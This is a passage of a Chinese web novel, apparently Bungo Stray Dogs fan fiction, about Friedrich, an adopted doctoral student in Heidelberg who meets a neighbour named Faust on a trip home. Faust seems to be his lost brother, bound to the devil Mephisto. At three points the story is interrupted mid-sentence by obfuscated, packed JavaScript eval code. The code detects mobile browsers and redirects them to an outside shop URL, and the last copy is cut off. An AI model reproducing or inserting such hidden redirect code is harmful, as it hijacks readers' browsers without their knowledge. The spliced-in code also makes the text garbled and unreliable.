《我哥是超越者怎么办》 1. 往事 弗里德里希刚从教授办公室里走出来的时候,整个人都是垂头丧气的。 他来找教授,是为了不久后的毕业答辩。 虽然教授——也就是他的导师,并非答辩导师的一员,他还是来找了导师,希望能解答他的一些疑惑。 而他的导师,那个面容冷酷、严谨认真的中年德国男人不出所料地骂了他一顿,问他两天前为什么做实验做着做着就睡着了,差点碰倒了腐蚀性的实验用剂。 弗里德里希不敢承认是因为晚上跟朋友出去玩街机了,而且还玩了个通宵;如果他真这么说,穆勒教授可能会当场取消他的博士生身份。 不管教授说什么,他只闷头点头,看起来很乖巧,教授便也消了气,还为他解答了问题,圈出了好几篇文献让他去看。 弗里德里希目前在读海德堡大学的博士学位,他当年考的是海德堡的历史学硕士,但因为时代背景,人们更推崇工科而不是文科,他就中途改行,转而读了个工科硕士,如今在某个工科教授的门下读博。 他当年考工科硕士的时候没觉得工科有多难,尽管他小时候一度头疼数学,但长大后脑袋也灵光了,只要有时间琢磨,他还能学明白高等数学、线性代数等学科的。 但博士生毕业答辩的难度还是大大超乎了他的预料,他被三位导师轮番提问,每次提问都直戳要害,问得他冷汗直流,最终答辩结果也是以失败告终,三位导师都认为他还得再练。 那是他的第一次答辩,后来他还经历过六次答辩,最后一次答辩是和小师弟一起的,海德堡大学提供两种读博培养模式,而他的是师徒制,也是德国的经典模式,无课程、无学分,主要跟随导师做独立研究,时间高度灵活。 他是穆勒教授的第一个学生,也是迄今为止本专业延毕次数最多的学生。他作为大师兄带过很多师弟师妹,教他们一些基础的实验理论和技巧,而师弟妹们也很争气,都顺利毕业了,最小的小师弟也在他的第六次答辩时顺利过关,而他鼓起勇气进入答辩的教室,遗憾再度延毕。 教授很生气,问他为什么又说不出话。 他:“我太紧张了……” 弗里德里希只有第一次答辩时是有信心的,在那之后,他一直都在怀疑自己,导师一提问,他就大脑一片空白,不知在说些什么,迷迷糊糊的结束了答辩。 现在,是弗里德里希的第七次答辩的前夕,教授对他恨铁不成钢,可偏偏也拿他没办法,干脆眼不见心为净,最近都不怎么来实验室了,偶尔来一次还恰好撞见他打瞌睡的现场,真是万分尴尬。 弗里德里希把教授圈出来的文献都记在了备忘录里,决定答辩之前要仔细看一遍,但还是有些丧气,他已经对答辩产生生理恐惧了。 正沮丧之际,弗里德里希口袋里的按键手机忽然响了起来,一接起来,才发现是小师弟的电话: “弗里德里希,我刚刚拿到了XX的offer,要来喝一杯吗?” 德语没有代表师兄弟的词汇,所以对方直接叫了他的名字。 弗里德里希更沮丧了,他还记得小师弟刚进实验室的青涩模样,如今就连小师弟就拿到大厂offer了,他还在这里蹉跎岁月…… 他:“算了,我过几天就要答辩呢。” 弗里德里希虽是这么说着,却没有继续钻研,在电话本里翻了又翻,视线集中在了最上头的置顶电话上。 【妈妈】 弗里德里希给养母打了个电话,开始哭诉:“妈妈,我又要延毕了……” ———— 弗里德里希·格奥尔格·冯·歌德,原名不重要,五岁时被拐到了德国,并幸运地被一对中年夫妇救下,从此有了全新的名字,开启了崭新的人生。 其中,养母是法兰克福前任市长的女儿,养父则是法学博士,毕业于莱比锡大学,据说他们曾有个儿子,也曾在莱比锡大学上过学,不过不知道是什么专业的。 目前,这个家庭只有弗里德里希一个孩子,家境也还算富裕,父母还十分开明,允许孩子追寻自己的理想。 在很多年前,他还有哥哥和姐姐。他第一次来到这个家庭的时候,家里只有哥哥约翰一个孩子,他那时还以为养父母就约翰一个孩子,后来他们的女儿回来,他才知道原来他还有个姐姐,姐姐前几年执意要去外地的女子寄宿学校,所以不常住家里。 姐姐叫做科内利娅,性格不像养母那么温和,反倒比较倔强。 按理来说这样的女孩不会太待见弗里德里希这个初来乍到的便宜弟弟,但事实却是他们关系还不错,这也是有原因的。 起因是有一次她和父母吵架了,气冲冲地跑出门,弗里德里希鼓起勇气出去找她,并第一次用不流利的德语喊她姐姐,她就瞪着弗里德里希,仿佛在瞪着让她生气的父母。 弗里德里希当时还是个小豆丁,也不敢多劝,就闷闷地陪她坐在公园里,不知坐了多久,姐姐忽然跟他说起自己跟父母吵架的缘由,说母亲不理解她,父亲对她特别严厉,压得她喘不过气…… 在那之后,姐姐就把他当自己人了,每次从住宿学校回来都会用自己的零花钱给他买好吃的大牌糖果,后来她从女子学校毕业,因为遇见了喜欢的人,就没有继续深造,选择嫁到了爱人所在的城市,偶尔回家探望,也会给弗里德里希带伴手礼,所以弗里德里希一直觉得她是一个很好的姐姐。 姐姐结婚后回家次数不多,弗里德里希有些想念她,于是长大后的弗里德里希想去姐姐所在的城市看望她,但还没来得及出发,就收到了一个坏消息:原本主要发生在东德的战争开始蔓延,波及到了法兰克福所在的西德,姐姐远嫁,不在法兰克福,战争导致治安变差,考虑到路途的安全问题,弗里德里希只去了一封信问候,姐姐也表示理解。 而就在同一天,弗里德里希收到了海德堡大学某个教授的邀请信,那是一所距离法兰克福很近的历史悠久的大学,邀请他的是历史学的权威教授。 他在海德堡大学读过了一段不赖的时光,除了偶尔因为容貌遭受骚扰以外,其他时候都还算开心。 母亲还经常叫父亲开车来看他,每次来都会带不少吃的,也不问学习如何,只问他过得好不好,十分关爱他。 这种溺爱让弗里德里希变成了一个相当任性的人,他这辈子也只在偷渡船上担惊受怕过这么一次了,自从被父母收养后,那是一点委屈也没有受过。 在他的印象里,德国家庭应该是那种父亲冷硬、母亲也吝啬关爱的严肃氛围,没想到养父母这么温柔。 而且他还有了一个同样温柔的大哥,尽管大哥只在他的生命里出现了两年,也足以让他对他印象深刻了。 与大哥相处的那两年,他还不懂德语,只知道“弗里德里希”是自己的名字,哥哥跟他说过很多话,他都听不懂,唯一记住的是对方每天都会喊很多很多次他的名字,用不同的语气—— 有时是无奈的,在他弄坏家里的闹钟后,兄长就会这样喊他:“……弗里德里希。” 有时是着急的,当他爬上庭院里的树,对方就会张开双臂,站在树下喊:“……弗里德里希!” 在新家人的关爱下,弗里德里希已经忘记了上辈子的事,只当自己是弗里德里希本人了。 岁月如梭,今年的弗里德里希已经二十六岁了。 距离他穿越,已经过了十几年,这时间太过漫长,足以使他蜕变成一个地地道道的德国人,当街头的小混混吹口哨调戏他时,他也能利索地用德语脏话骂回去,对方听出他是本地人,也不敢再造次了,这个年头德国本地人有很多□□,虽然他并不是。 弗里德里希忧郁地走在街上,刚刚跟母亲打了一通电话,让母亲很是心疼,叫他周末回法兰克福看看。 他订了周末的火车,决定先回家一趟,调整好心情再回来应付答辩。 这个时代的火车是最古老的那种,弗里德里希轻车熟路地上了火车,他坐在火车窗边的位置,地板是深色颗粒状的塑胶地板,不容易脚滑,但有些显脏。 他当年去海德堡大学的时候就是坐的火车,从法兰克福的火车总站出发,那时他才十五岁,因为在学术周刊上发表了一遍历史学相关文章被某个教授邀请入学,他娃娃脸显得年幼,十五岁的他看起来只有十一二岁,旁边的脱衣女郎四处招揽客人,也没看他一眼。 火车总站的正式名称是中央火车站。 弗里德里希记得那里有大片大片的红灯区,还有不少脱衣舞俱乐部,在那里游荡的许多人明明五官不一样,面色却是相似的苍白,他们面颊凹陷,眼神空洞,倚在路灯旁边,有一搭没一搭地聊着天,弗里德里希不敢靠近他们,也不知道他们在聊什么。 弗里德里希一开始不清楚这帮面色惨白的是什么人,后来从路边某人的手上接过了一张宣传新型DU品的广告传单,才意识到那可能是一帮瘾君子。 在法兰克福,这种人其实并不少见。 他在海德堡大学最初的四年是历史专业的,那时他还是个颇受教授喜爱的好学生,因此曾跟着有知遇之恩的教授一同去别的城市参加演讲,期间遇到一个漂亮的女孩,那女孩一开始就对他表达出了明确的好感,问他有没有情人。 情人? 这个称呼把他吓了一跳,连连摆手,那女孩看出他不好意思,便问他是哪里人。 “我家住在法兰克福。” 那女孩一听,眼神立刻变了:“你是法兰克福的?” 弗里德里希有点摸不着头脑:“是的。” 那女孩马上就不理他了,弗里德里希倒也不是觉得遗憾,只是不太理解。直到某个要好的朋友告诉他:“你不知道法兰克福人不受欢迎吗?” “什么?” “自从慕尼黑报纸上刊登了一则揭露法兰克福暗面的报道之后,法兰克福就多了个称呼,‘病城’。知道为什么吗?因为法兰克福到处都是吸DU者、脱衣女郎,还有嫖.客,嫖.客得病的可多了去了,你懂的。” “我怎么没听说过?” “可能因为你们家家风比较好吧?反正我另外一个法兰克福的同学都说:‘承认自己是法兰克福人需要勇气’。” “……” 这莫非就是德国版的地域歧视? 弗里德里希有些纳闷,不过没有纠结多久。 “到站了!” 弗里德里希听到乘务员呼喊的声音,这才回过神来,他到法兰克福了。 一下火车,映入眼帘的是熟悉的红灯区,女郎早已换了又换,最开始的那批女郎早已得了病,换了全新的、更年轻的女人站街。 弗里德里希已经不再是当年的小男孩,那些女郎便笑着过来揽客,他连忙摆手,快步离开了。 “嘿!这里!”弗里德里希叫停了一辆出租车,不忘在打开车门时告诉司机,“我住在‘老街(Seelgasse)’!” 乘着这个年代的出租车,司机开着车,把他送到了所谓的老街,他只走了一段种着梧桐的路,就来到了家门口。 门口有一个信箱,前不久才新刷了墨绿色的漆,任谁也看不出这是弗里德里希儿时就有的东西。 信箱算是这个年代的德国人家门口的标配,即使是公寓,公寓下面也会有一排排的信箱,上面会写清楚信箱主人的姓氏,方便邮差送信和信主人取信。 弗里德里希很久没给家里写过信了,主要是因为初版笨重的大部头手机刚问世,他就拿自己的私房钱给家里所有人都买了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615573|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,就不再需要写信了,不过即使如此,信箱还是保存着,邮差每天早上都会送来带着油墨味的报纸。 弗里德里希踮着脚走到门口,凑到猫眼上,希望能看到家里的样子——妈妈在扫地吗?爸爸可能在看报纸。 但猫眼很模糊,他看了半天,也只看到一盆模糊的绿植。 “这猫眼真该换了。”弗里德里希嘟囔着,“我记得小时候站在椅子上,从外往里看得很清楚。” 弗里德里希从包里取出一把钥匙,往门锁里一捅,只听“咔嚓”一声,门应声而开。 弗里德里希以为父母年纪大了耳背,没听到他开门的声音,于是就小心翼翼地关上了门,轻手轻脚地换好鞋子上楼,结果却扑了个空:他们根本不在家! 正当弗里德里希站在二楼围栏处思考他们在哪的时候,楼下突然传来钥匙插.进锁眼的声音。 他们似乎刚刚购物回来,每个人手上都提着很多东西,一开始还没注意到他,直到换鞋的时候发现旁边多了一双鞋,一抬头,才看到小儿子正站在栏杆旁边,眼睛亮晶晶的。 弗里德里希欢呼一声,砰砰砰地下楼:“Mama!我刚刚到家!” 养父穿着得体的西装,等了一会儿,弗里德里希终于注意到了这位父亲,于是也露出一个笑脸:“Papa!” 养父“嗯”了一声,注意到他穿的T恤还是半年前的那件,而且还洗的皱巴巴的,就问:“你怎么不换新衣服,弗里德里希?” 弗里德里希:“没必要换,大家不会盯着我的T恤看的。” “你还是学生,要是缺钱了,可以跟我说。”养父留着希X勒式的小胡子,看起来精明,说的话却温柔。 这话反倒让弗里德里希有些不好意思了,他可不想啃老,连忙宣称:“我有钱,我卡里还有好几千马克呢!” “哦?”养母一边取下帽子,将其放在Garderobe(德语特指在玄关区域的挂衣处/衣帽架),一边跟弗里德里希说,“不要勉强。” 弗里德里希:“没有勉强,我至今还能收到出版社的稿费呢。” 养母想起了弗里德里希高中时赚的第一桶金,好像是靠写小说,或者纪实作品得来的稿费。 “说到这个,你的作品到底叫什么?” 弗里德里希立马变了脸:“不告诉你。” 他总不能告诉对方那本著名的霸道总裁小说是他写的,当初他为了零花钱写了这么一本书,犹记得刚出版的时候,他爸还在饭桌上批判过那本书的不切实际,认为这种精英银行家不顾阶级差距迎娶风俗女的故事是不可能发生在现在的法兰克福的,他也没好意思说那是他瞎写的。 弗里德里希回家的当晚吃了一顿相较于平时还算丰盛的晚餐,不仅有常规的面包,还有烤肉和火腿,养母已经买好了他喜欢的那种果酱,涂在烤肉上滋味还不错。 吃完晚餐,弗里德里希回了自己的房间。他的房间不大,胜在温馨。 他很小的时候就自己住一个房间,父母早早准备好了桌子和书架,还有一把带靠背的小椅子,那书架一开始是空的,随着时间流逝,逐渐摆满了各式各样的课外书,还有中学时期的课本,他一直保存到现在,如今翻翻过时的课本,还能发现一些上课时无聊画的涂鸦。 他刚来到德国的时候,德国正处于60年代,不过不像上辈子的德国那样正值东德与西德的政治分裂时期,就是平常的和平时期。 直到70年代左右,战争才刚刚爆发,但也绝非上辈子的世界大战,报纸上说是“因石油等资源归属纠纷引起的战争”,但他因为上辈子看过文豪野犬,知道事实绝不像报纸所说的那样,而是异能引发的大战。 弗里德里希坐在椅子上,拉开抽屉,发现了一本薄薄的相册,打开一看,都是他小时候的照片。 第一张照片是他在德国的第一个圣诞节拍的,他站在圣诞树旁,带着一顶偏大的浅顶软呢帽,那是他爸爸的,因为他说爸爸的帽子看上去暖和,他们就交换了帽子,拍照的时候,这顶帽子其中有点往下滑,差点遮住他的眼睛,所以他旁边的哥哥就把手放在他后脑勺上,实际上是帮忙托住帽子,免得遮住了脸。 哥哥是少年模样,不过已有成人的影子,身形已经十分高挑了。他对镜头露出一个矜持、保守的微笑,显得自持,即使微笑着,也莫名冷淡,像是程序式的假笑,哥哥对家人以外的人就是这样,对家人们又是另一副样子。 姐姐站在最旁边,她板着一张脸,是站得离父母最远的那个人——她一直和父母关系不太好,在家里只愿意和弗里德里希、哥哥说话,家里最大的是哥哥,其次是姐姐,最后才是最小的弗里德里希。 最小的孩童有着一头金色的头发,发尾偏卷,眼睛则是靛蓝色的,这点倒是跟兄长他们很像,他们都是靛蓝色眸色,不过头发是黑色的——这配色听上去不太符合人们对正经德国人的印象,但实际上,日耳曼人中不乏有黑发人群,歌德一家就是。 照片后面还写上了他的名字:弗里德里希·格奥尔格·冯·歌德,五岁,1968年12月24日。 他还记得这张照片是爸爸的一个朋友帮忙拍的,因为圣诞节当天所有的照相馆都关门了,而家里又没有照相机,好在那个朋友家里有,就借用了一下。 现在已经不需要借用了,因为前几年家里也买了照相机,拍照成了一件随意的事,想拍随时都可以拍。 弗里德里希回忆起往事,还有些怀念。比起其他无家可归的穿越者,他真是太幸运了,在这异国他乡,竟会有这么一对好心的夫妇待他如亲子。 弗里德里希感慨着入睡,蜷缩在被窝里彻底睡着的前一刻,他万万没想到明天家里会迎来一个特别的客人。 2. 浮士德 次日,弗里德里希睡到了自然醒,他在家里一向是这样,父母起得早,也不会过来叫醒他,这天他睡醒的时候,已经快中午了。 他穿好衣服下楼,睡眼惺忪地问坐在沙发上看报纸的父亲:“爸爸,中午吃什么?” “面包,牛排。”父亲头也不抬,“一如既往。” “哦。”弗里德里希有些失望,他有点吃腻面包和果酱了,烤肉也是。 弗里德里希穿着常服下楼,无事可做,便拿起桌上的一份报纸就开始看。父亲订的报纸都分为上下两份,内容都不一样,每次父亲在看第一份,他就看第二份,等对方看完了再交换,这次也是一样。 父亲好像快看完了,没多久就把自己手里的报纸卷起来,往弗里德里希这边一递,弗里德里希则交换式地把自己手里报纸往对方腿上一扔。 他很快看完了两份报纸,又开始无事可做起来。闲暇时间,他查看了一下短信,很好,教授的对话框没有红点,说明对方没有发来信息,要知道放假时教授来信息多半没好事。 假期大家应该都在休息,除了几条不知是谁发来的广告,就没有别的信息了。 弗里德里希在沙发上坐了一会儿,想去找母亲聊聊天,他知道母亲是这周围的百事通,知道很多八卦。 他过去的时候,母亲正在洗手,旁边的盘子里都是切好的洋葱。 “附近发生了什么新鲜事?”母亲想了想,“离我们最近的费舍尔一家搬走了,房子也卖掉了,或许新邻居很快就会搬过来。” 就在这时,门外响起了门铃声,父亲去开了门,从弗里德里希的视角看不见来者,不过能听到一道陌生的青年男音:“您好,我是隔壁刚搬来的邻居,我叫浮士德。” 这个名字有点微妙,尽管并不少见,但弗里德里希前世已经先入为主地对其产生了刻板印象——即《浮士德》中的主角学者浮士德。 弗里德里希还以为自己听错了,于是转头去问:“妈妈,谁来了?” “他叫浮士德。”妈妈说,“刚搬来的邻居。” “浮——士——德?”弗里德里希拉长了声调,语气怪异,就被母亲拽了一下。 母亲马上纠正他:“绅士可不会这么叫客人的名字。” “我知道了。”弗里德里希摸了摸鼻子,悻悻然走了出去。 来到客厅,总算看清了来客的样子: 那是一个身材高大颀长的青年,乍一看有些冷淡,不过挺有规矩,站得笔直,像跟标杆。 对方实在高大,弗里德里希得抬起头来才能看到对方的……鼻孔。 真是个大高个子。弗里德里希心里嘀咕着,为什么他没有这么高? 对方察觉到弗里德里希的注视,略微低下头与弗里德里希对视,弗里德里希就看到了对方完整的脸,对方是日耳曼人长相,靛蓝色眼瞳,不算太少见的黑发,十分俊美。 “您好,我是浮士德。”对方再次自我介绍,顺便摘下了帽子,伸出手。 弗里德里希下意识地跟对方握了手:“您好,我是弗里德里希。” 对方的手就像气质那样冷淡,弗里德里希只握了一秒就飞快地松开了手,而对方松手的速度则慢了许多,这就显得弗里德里希的举动有点避之不及的意思。 好在对方似乎并不介意,这让弗里德里希悄悄在对方身上打了个正面标签:宽容,不斤斤计较。 德国人社交时习惯直视对方,弗里德里希已经盯着对方看了快一分钟,而最初的熟悉之感仍然存在,让弗里德里希在结束社交后还忍不住多看了几眼。 此时,浮士德已经与母亲打了招呼:“您好,歌德夫人,我是浮士德。” 弗里德里希从侧面看着对方的脸,一种莫名的熟悉之感骤然涌上心头。他越看越熟悉,十多年前的记忆浮现眼前,想起了那个手把手教他德语的温柔大哥,刚开始只觉得有点像,越看越是相似,连神态也很像,渐渐地,对方的脸与大哥逐渐重叠起来…… 弗里德里希犹豫着要不要问,难道他要问浮士德是不是他大哥吗?那也太奇怪了。 或许是他看对方的时间太久,好像产生了幻觉,对方身后骤然浮现一个红衣虚影,那虚影是人类的模样,将食指放置唇前,对他做了个“嘘”的手势。 弗里德里希一下子屏住了呼吸,不敢眨眼,生怕是自己看错了,直勾勾地盯着虚影。 随后,那虚影竟然说话了: 它——或是他?他附在浮士德耳边,眼神却直勾勾地看着弗里德里希,对浮士德说:“我想跟他玩个游戏,你觉得怎么样,浮士德?” 浮士德脸色不变,连嘴唇都没动一下:“别碰我弟弟。” ———— 约翰·浮士德,德国最具代表性的超越者。 其异能名为【浮士德】,正是他自己的名字,异能效果则是一团谜,人们只知道他仿佛无所不能,即使远在千里之外,也能决定一场战役的胜负。 而只有他自己知道,他的无所不能都是有代价的。在战场上某次生死危机时,他与魔鬼立下了契约,因此丧失了歌德的身份,此生都只能以浮士德的名字活下去,不仅如此,那只自称梅菲斯特的魔鬼还缠上了他,每当他遇到难题时,对方就会跳出来,试图诱惑他出卖灵魂换取魔鬼无限次无底线的帮助,而他每次都会拒绝,选择用另外的筹码换取同等价值的东西——当然不可能是无底线无限次的帮助。 对于魔鬼来说,有价值的筹码只有引人堕落的快感和人的灵魂,而浮士德给出的是后者,战争过后,战场上总会残留无数魂灵,浮士德允许梅菲斯特将那些带有罪恶烙印的灵魂带入地狱,不论它们生前属于哪个国家。 “这是个德国人。”有一次,梅菲斯特抓住了一个刚刚死去的灵魂,“他在非战争时期犯过杀人罪,死者是一名童工……你不阻止我?我以为将军会包庇自己人呢。” “圣经说,犯罪者将会堕入地狱,不论其来自何处。”浮士德淡淡地说,“虽然圣经也说,忏悔或可使有罪的灵魂升入天堂,但我并不认可,木已成舟,悔恨是无用的。” “上帝会责罚你的。”梅菲斯特笑嘻嘻地说,“你竟敢忤逆圣主。” “仁慈的上帝会允许非议的存在,那是不可避免的事。”浮士德说,“非议之余,我仍相信圣主的公正和宽容。” “那你可真是虔诚的教徒。”梅菲斯特阴阳怪气地说,“可你这样的教徒也会为了活命跟魔鬼签订契约!” “你的契约里可不包括杀害无辜者,死于我手者,皆有其罪。”浮士德说,“这也能称之为罪恶么?” “但那些被你当做筹码的死魂们呢?” “那是罪有应得。”浮士德说,“所有人都应该为自己的决定付出代价。” 浮士德很多年都与魔鬼梅菲斯特形影不离,倒不是不想远离,只是无法离开,那个契约已经将他和魔鬼绑在一起了。 魔鬼不遗余力地帮助着他的契约者,积累了不少战功与威望,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615574|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上浮士德为人公正,深得下官信赖尊敬,很快晋升到了少将,经过时间的沉淀,上将军衔也成了囊中之物。 德国陆军总共四大军团,其中,浮士德管理的第一军团是出了名的军纪森严和骁勇善战,为国家取得了无数荣誉,这些荣誉不仅为第一军团添了光,也使得浮士德的履历更加辉煌。 自战争爆发起,浮士德已经在战场上度过了十几年的漫长岁月,现在,异能大战终于陷入了僵持期,浮士德也终于有时间想想他失去的属于歌德的过往了。 他其中一直打心底里认为自己是歌德,而非浮士德。浮士德的一切太虚浮,让人十分空虚,而歌德的生命却是充实而饱满的,他还有牵挂的家人,那个位于法兰克福老街的房子总能让他午夜梦回,无比怀念。 早在初上战场时,浮士德就时常想起远在法兰克福的家人,他想起了父亲爱看的报纸的名字,母亲最爱的果酱品牌,在外地女校上学的妹妹,还有离开时尚且年幼的弟弟,弗里德里希,那个可爱的孩子,他记得对方戴着小狗帽子亦步亦趋跟在自己身后的样子,真的就像小狗一样。 他记得他小时候很喜欢狗,但母亲对狗毛过敏,因此遗憾放弃,而后来的弟弟倒是圆了他儿时的梦,他甚至觉得弟弟比小狗还要可爱,因为是小孩子,看起来小小一只,还不会说德语的时候只会对着他傻笑,够不到桌子上的零食就来他房间找他,让他帮忙拿…… 他还干过一件事,母亲为了方便弟弟拿把吃的放在矮桌上,他却趁着母亲不注意把食物放到了弟弟够不到的桌子上,这样弟弟就会来找他帮忙,他就可以一逞长兄风范了,现在想想觉得蠢透了,却也觉得有趣,一想起来就会忍不住勾起唇角。 留在法兰克福的回忆太多,所以即使父母很可能已经忘了他,他还是想回去看看他们,哪怕只是作为邻居说两句话也好。 于是他买下了一栋毗邻的房子,挑了个明媚的日子,提了传统的乔迁伴手礼,以邻居的名义去探望他们。 他按了门铃,没多久,父亲来开了门,父亲与记忆中差距不大,只是更胖了些,黑色的头发已经斑白了,戴着眼镜,开门前应该是在看报纸; 随后而来的是弟弟,虽然弗里德里希的变化很大,但他还是一眼就认出来了。弟弟小时候就微卷的头发现在更卷了,头发看起来有点乱,好像刚起床没梳头,他长大了,但眼睛和小时候一模一样,眼睛很大,而且湿漉漉的。他穿着小狗图案的睡衣,拖鞋上有个毛绒绒的狗头,浮士德有点遗憾他没穿带小狗耳朵兜帽的外套。 然后,母亲也来了,看到母亲的那一瞬间,他差点说漏了嘴,好不容易才把那一句未出口的妈妈憋回去。 他有些感伤地看着母亲,母亲不出所料,并没有认出他,对待他就像普通的邻居一样。魔鬼的力量就是如此,这不是任何人的错。 他发现母亲也白了头发,不过依旧清减。妹妹早已出嫁,所以他没看到妹妹的影子。 弟弟似乎对他感到好奇,一直盯着他看,浮士德并不介意,但魔鬼却因此冒了出来。 这只名为梅菲斯特的魔鬼平时潜伏在他的身体里,一遇到好玩的事,就会自动窜出来,浮士德早已习惯了,不过魔鬼早不出来,晚不出来,偏偏现在出来,肯定没好事。 浮士德不担心魔鬼搞出什么麻烦,他如今人至高位,几乎没有权力不能解决的事。但当魔鬼嬉皮笑脸地说要跟他弟弟玩个游戏的时候,他还是冷冷地回了句: “别碰我弟弟。” 3. 推荐信 ……弟弟? 弗里德里希差点以为是自己听错了。他眼神直勾勾地盯着这个自称浮士德的男人,还有其身后的……魔鬼。 如果他就是原本的弗里德里希,而不是一名异世的穿越者,他本不应知道对方身后的东西是什么,但前世的记忆让他一瞬间就猜出了魔鬼的身份,以及名字: 梅菲斯特。 他想起了曾读过的名著《浮士德》,其讲述了学者浮士德与魔鬼签订契约后的一系列故事…… 《浮士德》的作者是歌德,德国最出名的文豪之一。弗里德里希还没学会德语时,就已经拥有了德语名字,不过那时他还不清楚自己的姓氏在中文的翻译是什么,后知后觉地发现他竟然和传说中的歌德撞姓了。 但他也没多想,只以为是巧合。歌德这个姓氏在德国并不常见,但也不算太罕见,撞姓并非不可能。 然而,这个自称浮士德的男人的到来让弗里德里希的想法产生了动摇,他开始怀疑这到底真的是个巧合,还是存在着某种他不知道的联系…… 引起他怀疑的最主要原因其实还是浮士德的长相,让他想起了那个在他很小的时候就离家的哥哥。 浮士德是个很有分寸的人,初次到访邻居家中,也不久留,送上礼物就离开了。 等浮士德走后,弗里德里希抢先打开了对方送的礼物,发现里面是几袋海盐和面包。这倒是没什么好惊讶的,虽然一些不那么老派的地区已经不会将这个作为乔迁礼了,但法兰克福还保留着这个传统——至少他们家是这样,看来这位新邻居从小也受到相似的教育。 妈妈问:“是Bad Reichenhaller*,还是Emser*?” *皆为德国80年代就存在的食盐品牌。 弗里德里希拿起海盐袋子看了一下,回答:“都不是,好像是芬兰的牌子,叫——呃……”他顿了顿,发现这个单词自己居然不会读,没办法,他不太会芬兰语。 他悄悄瞥了一眼一旁懂芬兰语的爸爸,希望对方能主动帮自己解惑,但很遗憾,老歌德正在聚精会神地看报纸——他发誓他绝对看完了,现在是装模作样。 妈妈瞥他一眼,叫老歌德的名字:“你看看那是芬兰什么牌子?” 老歌德这才放下报纸,矜持地接过盐袋,扶了扶眼镜,仿佛要做一项重大研究,半天才吐出一个单词:“…………” “歌德教授,你能拼读一下吗?”弗里德里希举手。 “S-Y-K-S-Y。”歌德教授痛快地解答了小歌德的疑惑,还大方地表示:“我书房里有许多芬兰语相关书籍,你要是感兴趣,可以去翻一翻。” 小歌德长叹一声:“如果五年之内我能毕业,我会考虑学习一下的——真的。” ———— “对了。”弗里德里希差点忘了一件事,“妈妈!” “怎么了?”妈妈看了过来。 “妈妈,你有没有觉得——”浮士德走后,弗里德里希终于敢跟父母提起这个疑惑了,“浮士德先生……有点像哥哥啊?” 他怀疑是不是自己记错了哥哥的样子,于是就想从大人口中确定一下。 但对方脸色茫然,直直地盯着他蠕动的嘴唇:“你说什么?” “你觉不觉得……浮士德很像哥哥?” 对方依旧茫然,还有些困惑,仿佛根本没听到他在说什么。他把目光移向父亲,对方也纳闷地看着他,奇怪他怎么光张嘴不说话。 这种反常让弗里德里希心中升起了古怪的感觉,这时他想起父母房间里一直摆着一张合照,那是他刚来德国时拍的全家福,其中就有哥哥。 他迫切地需要一个答案,于是没管父母疑惑的视线往主卧奔去,当他打开门的时候,房间里拉着窗帘,十分昏暗,不过也能看到桌子上的照片,他松了一口气,以为终于能找到证据了。 但当他走到照片前,他才发现照片里根本没有他要找的人! “爸爸,妈妈,我,姐姐……”弗里德里希从左往右数,盯着照片中间莫名空出一小块空白,那里刚好可以站下一名颀长的少年…… 不对,不对……弗里德里希把照片从相框里拆出来,反复查看正反面,反面写了照相者的名字,都是亲笔签名,而且是全名,但哥哥不光从照片中消失了,照片后面也没有他的名字。 哥哥的全名是什么?他这才发现,自己不知道对方的大名。 他又跑到客厅,问:“哥哥以前的房间还在吗?” 父母仍然听不到他的声音,母亲还担心地走过来,双手捧着他的脑袋仔细查看,认为他可能哪里受伤了,但天知道,有问题的不是弗里德里希,而是他们! 弗里德里希跑到楼上,楼上还保留着已出嫁的姐姐的房间,门上挂着绿色的门牌,按理来说也应该有哥哥的房间,他找了一圈,终于找到了哥哥的房间。 他冲进去,发现久未住人的房间里很整洁,像是经常有人打扫,很显然是母亲在维持这里的洁净。他发现角落里堆着不少书和本子,应该是哥哥学生时代的遗留,想着哥哥应该会在书上写名字,就开始翻找,一本一本地查看扉页,但哥哥根本没有写名字的习惯! 弗里德里希看着这一大堆的书和本子,心想本子你总该写名字了吧?不然怎么交作业? 结果本子上也是空白的。 “这太不合常理了!”弗里德里希终于确定了这些空白的书和本子绝非哥哥不爱写名字所致,一定有别的原因,他忍不住喃喃自语,“谁能把一个人的痕迹从世界上全部抹消?上帝吗?” “……不对。”弗里德里希想到了一个人选。 他差点忘了,他今天才见过一个魔鬼。恰好,魔鬼的契约者浮士德,似乎也与失踪的哥哥有着千丝万缕的联系…… 他又想起了浮士德与魔鬼说的话: “别动我弟弟。” “…………” 他就一个哥哥,那就是早已失踪的大哥,他隐约记得大哥名字叫约翰,中间名是缺失的,他一点儿印象都没有。 哥哥肯定也是姓歌德,反正不是什么浮士德…… 所以这到底是怎么一回事? 弗里德里希揉了揉脸蛋,有点想不通。 一天后,弗里德里希仍然毫无头绪,但这时他已经没有时间调查浮士德了,他得回海德堡了,该死的答辩就在后天! 他挎着脸坐上了返程的火车,在车上看了半小时的书,那些书他早已看了无数遍,几乎倒背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 